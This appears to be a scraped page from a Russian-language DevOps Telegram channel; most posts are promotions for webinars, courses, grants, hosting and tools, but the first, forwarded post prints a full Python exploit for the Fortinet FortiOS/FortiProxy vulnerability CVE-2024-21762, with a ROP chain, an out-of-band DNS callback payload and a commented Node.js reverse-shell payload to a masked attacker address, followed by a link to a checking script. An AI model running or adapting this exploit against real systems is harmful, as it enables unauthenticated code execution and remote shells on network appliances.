KazDevOps – Telegram
KazDevOps
5.38K subscribers
1.3K photos
27 videos
19 files
1.3K links
Канал о DevOps во всех проявлениях: K8s, CI/CD, AppSec, AI/ML, Cloud, Linux
Поможем с DevOps: https://core247.kz/
По рекламе @UlKonovalova
Download Telegram
Forwarded from Похек (Сергей Зыбнев)
Fortinet FortiOS & FortiProxy Unauthorized RCE CVE-2024-21762
#RCE #CVE #Fortinet #FortiOS #FortiProxy

CVE-2024-21762 представляет собой уязвимость записи за границы буфера (buffer overflow) в Fortinet FortiOS и FortiProxy. Эта уязвимость позволяет неавторизованному атакующему выполнять произвольный код с помощью специально сформированных HTTP-запросов.

➡️Атакуемые продукты:
- FortiOS
- FortiProxy

Эксплойт:
import socket
import time
import argparse


TARGET = 'xxxxxxxxxxxx' # Target IP
PORT = 443 # Target port, usually 443 for SSL VPN

def make_sock(target, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
return sock

def send_payload(payload, target, port):
with make_sock(target, port) as ssock:
ssock.sendall(payload)

def main():
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00"
e_flag = b"-e%00"
## use this one for rev shell b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(1337,"xxxxxxxxxxx",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
js_payload = b'(function(){var cp=require("child_process");cp.execSync("nslookup xxxxxxxxxxx.oastify.com");})();%00'

form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20

data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: " + TARGET.encode() + b"\r\n"
data += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
data += b"\r\n"
data += body

send_payload(data, TARGET, PORT)

# Short delay to ensure the server processes the first request
time.sleep(2)

# Preparing and sending the second part of the exploit
data = b"POST / HTTP/1.1\r\n"
data += b"Host: " + TARGET.encode() + b"\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

send_payload(data, TARGET, PORT)

if __name__ == "__main__":
main()


Подробные ресерчи можете найти ТУТ, ТУТ, ТУТ

Скрипт для проверки безопасности вашего сервера
https://github.com/BishopFox/cve-2024-21762-check

git clone https://github.com/BishopFox/cve-2024-21762-check; cd cve-2024-21762-check; python3 check-cve-2024-21762.py <host> <port>



🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
👍64😎2👾2
🔥 Кейс ioka: как помогли пройти сертификацию PCI DSS 4.0

Недавно мы анонсировали аудит PCI DSS как отдельную услугу — и сегодня рассказываем о том, как и чем помогали компании ioka, какие были сложности и решения.

👉 Читайте в новом кейсе

Небольшой спойлер:

Компания ioka обратилась к нам впервые 3 года назад — тогда мы мигрировали их приложения в Казахстан, чтобы избежать задержек и блокировок. В облаке осталась standby-копия системы как запасной план на случай, если ЦОД будет недоступен.

В экосистеме онлайн-платежей ioka разработка не прекращается, а стек технологий постоянно растет. Приближалась ежегодная сертификация PCI DSS. С этой задачей компания и обратилась к нам — получить сертификат PCI DSS 4.0.


#кейс #devops

@DevOpsKaz
Please open Telegram to view this post
VIEW IN TELEGRAM
5🔥5👍2😎2
Alibaba Cloud все больше заходит на рынок облачных технологий, в том числе и в Казахстане. Получить сертификацию и стать специалистом в этой области можно уже сегодня.

👉 Бесплатный доступ ко всем сертификатам Apsara Clouder и ко всем специальным сертификатам можно получить здесь.

Нажмите на Learn for Free (Membership) или Members Claim на странице курса подготовки к сертификации, которую вы хотите изучить — и вы сможете пройти онлайн-курсы и сдать онлайн-экзамены бесплатно.

У вас будет максимум 4 возможности сдать каждую сертификацию Apsara Clouder и Specialty.

#alibabacloud

@DevOpsKaz
👍422🔥2👾2
🖥 «Эффект домино: как IT-инфраструктура одной компании влияет на множество бизнесов»

Когда мы особенно ярко чувствуем тесную связь разных компаний? Правильно: когда у одной из них случается сбой. Именно поэтому важно иметь надёжную IT-инфраструктуру, чтобы минимизировать проблемы не только у собственного, но и связанного с вашим бизнеса.

Виктор Водолазкин, Head of BDM компании Nixys, проведёт открытый вебинар, где расскажет про кастомизацию IT-инфраструктуры и покажет, как компании в сфере FoodTech справляются с нагрузками «в сезоны продаж».

📌 Когда: 18 июля (четверг), в 15:00 мск

📌 Кому будет полезно: CEO CIO, CVO. Техническим менеджерам, IT-руководителям. Представителям B2B и бизнеса с сезонными продажами.

На онлайн-трансляции Виктор разберёт клиентский кейс и ответит на все вопросы.

Чтобы зарегистрироваться — нажмите сюда.
🔥3😎32👍2
🔥 Нужные сертификации в зависимости от роли

В карточках ниже 👇🏼 показали, какие нужны сертификаты в зависимости от роли в DevOps и Cloud:

— Cloud DevOps Engineer
— Cloud Solutions Architect
— Cloud Security Specialist
— SRE Specialist
— Platform Engineer
— Ops Engineer

Они значительно усиливают вас как востребованного профи, но не являются прямым билетом на должность. Почитайте советы по резюме, чтобы сделать его еще более презентабельным.

Пользуйтесь и делитесь с коллегами 🤝

@DevOpsKaz
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍522
☄️ Предлагаем попробовать услуги ИТ-инфраструктуры от Servercore.com в Казахстане.

У коллег есть выделенные серверы и облачные. Например, облачный сервер Standard Line на день обойдется в $0.34, а выделенный EL42-NVMe в $17,5.

Обещают техподдержку 24/7 и отказоустойчивость в 99,98%.

👉 Пишите в личку Алексею Пешкову и регистрируйтесь в консоли управления — вам начислят $110, чтобы вы могли попробовать серверные или облачные вычисления.

Всем хорошего дня! 🌞
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥32👎2👾2
🔥 Инструменты недели для DevOps-специалистов

Представляем подборку нетривиальных сервисов, которые помогают решать рутинные задачи. Сразу к делу 👇🏼

chart-testing
— инструмент для тестирования Helm-чартов. Он автоматически обнаруживает измененные чарты по отношению к целевой ветке. Помогает как в линтинге («парикмахер» кода), так и в тестировании pull-запросов.

greenmask — сервис для резервного копирования, анонимизации и маскирования данных в PostgreSQL. Совместим с существующими утилитами PostgreSQL, легко и гибко настраивается.

Trivy — утилита, которая помогает находить уязвимости, неправильные конфигурации, секреты, SBOM в контейнерах, Kubernetes, репозиториях кода, облаках и другом. Направляет свои сканеры на проблемы безопасности, чтобы вы могли спать спокойно.

Пользуйтесь и делитесь с коллегами 🤝

#trivy #greenmask #postgresql #helm #devops

@DevOpsKaz
Please open Telegram to view this post
VIEW IN TELEGRAM
👍832🔥2😎2
☄️ 5 причин прийти на бесплатный вебинар «Serverless: трюки и советы на практике»

— Узнаете, как сэкономить на инфраструктуре и улучшить управление данными
— Поймете, когда надо и не надо мигрировать в облако, а также какие есть альтернативы
— Обсудите лучшие подходы к Serverless
— Рассмотрите реальные кейсы, а не сухую теорию, сможете перенять успешный опыт
— Сможете выиграть призы

📌 16 июля в 19:00 по Алматы

Будет интересно всем, кто интересуется cloud migration и serverless 💪

👉 Посмотрите полную программу и регистрируйтесь здесь

...и зовите коллег!

@DevOpsKaz
Please open Telegram to view this post
VIEW IN TELEGRAM
6👍4🔥42🎉2
KazDevOps pinned a photo
☄️ Автоматизация выгрузки тикетов из Jira и визуализации отчетов в PowerBI

Если вам приходилось строить отчеты по работе отделов компании, то вы знаете, что делать это вручную каждую неделю или месяц достаточно долго и требует много внимания к деталям.

Тут на помощь приходит автоматизация с помощью обычного скриптинга и интеграция с Jira API и PowerBI. Рассказываем про удобный менеджмент тикетов Jira и визуализацию данных по ним — и как это можно автоматизировать.

👉 Читайте в новой статье

Статья пригодится не только DevOps специалистам, но и продакт менеджерам, HR и дата-аналитикам. В общем, упрощаем подход аплодинга и постройки визуализации, чтобы сэкономить ваши время и силы.

#devops #jira #powerbi #python

@DevOpsKaz
Please open Telegram to view this post
VIEW IN TELEGRAM
👍532👎2🎉2
Открыт приём заявок с докладами на CodeTalks в Алматы.
Фулстек-конференция для ИТ-специалистов.

Всем привет! В этом году уже второй раз пройдёт конференция для разработчиков CodeFest в Алматы. А точнее на CodeTalks — именно такое название будет у конференции c этого года в Алматы.

Вкратце, что будет:
– Дата проведения: 16 ноября 2024. Офлайн. Алматы.
– Участников 800 человек. Участие платное — 25 000 тенге.
– Регистрация откроется в сентябре.
– Партнёрский движ от крупных ИТ-компаний. Афтепати для всех, сразу после конференции.
– Ключевые направления программы будут: Backend, Frontend, Management, QA, Data Science, Mobile, Analysis, а также DevOps. И, конечно, Квартирники — традиционный формат народных дискуссий.

Приглашаем выступить с докладами и ждём ваши заявки в программу до 10 сентября.

🍿Податься с докладом просто, вдумчиво заполнить форму 👉 Call for Papers.
👍432👎2🎉2
Павлодар на связи! Именно там есть возможность встретиться с экспертом облачных технологий — Enes Turan!

👨‍💻 Enes Turan — эксперт Google Developer, Cloud Platform Engineer (Acedemand), инструктор Udemy, соорганизатор Cloud Native Türkiye. Его опыт: мульти-облачные решения, автоматизация инфраструктуры, безопасность.

🗓 13 июля, 11:00
📍 г. Павлодар, ул. Чокина 139 (IT-School)

👉 Записывайтесь, кто рядом или собирался на Google I/O Pavlodar!
👍54🔥4🎉3
🔥 Получи грант на 600 000 тенге и стань DevOps-инженером «на стероидах»

Наша школа прошла отбор в проект Tech Orda для подготовки IT специалистов и мы предоставляем квоту на 18 человек на курс DevOps Upgrade.

Это курс с высокой нагрузкой и большими результатами. Для IT-специалистов, которые хотят прокачать hard skills, повысить свою стоимость на рынке труда и построить карьеру подготовленного DevOps-инженера.

🚩 Длительность обучения: 6 месяцев.

Вот так это работает:
— Обучение стоит 1 млн тенге
— Tech Orda вносит за студента 600 000 тенге
— Студент платит 400 000 тенге в качестве гарантированного взноса — сразу или в рассрочку от Kaspi

🚩 Ограничения по возрасту: от 18 до 45 лет.

👉 Подавайте заявку через AstanaHub

Мы отберем студентов на обучение, а после экзамена самым способным откроем путь на стажировку в Core 24/7 — лидере DevOps-услуг в Казахстане.

@DevOpsKaz
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍43🎉3🤡2
KazDevOps pinned a photo
☄️ Получите грант на 600 000 тенге и станьте мастером Data Science

Наши партнеры и друзья из Astana Hub курируют проект Tech Orda для подготовки IT специалистов. Они сотрудничают со многими школами и сегодня предлагают получить 1 из 33 ваучеров на бесплатные курсы по программе Data Science и Машинное обучение в Data Science Academy.

🏆 К слову, Data Science Academy вошла в топ-3 из 78 школ по Data Science.

У них вы получите:

☑️ Передовые знания по Data Science и машинному обучению
☑️ Обучение у лучших преподавателей
☑️ Гарантированные карьерные возможности

👉 Подавайте заявку через AstanaHub

#techorda #dsacademy #astanahub #datascience #машинноеобучение
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🔥4😎3
☄️ Proxmox против FreeBSD: что работает лучше?

Сравнивали Proxmox 8.2.2 и FreeBSD 14.1. Для теста использовался физический сервер:
Intel Core i7-6700
2x SSD M.2 NVMe 512 ГБ
4x ОЗУ 16384 МБ DDR4
Сетевая карта 1 Гбит Intel I219-LM


👉 Посмотреть результаты тестирования

Автор статьи постарался быть максимально объективным, поскольку он использует оба решения ежедневно.

#proxmox #freebsd #devops

@DevOpsKaz
Please open Telegram to view this post
VIEW IN TELEGRAM
👍843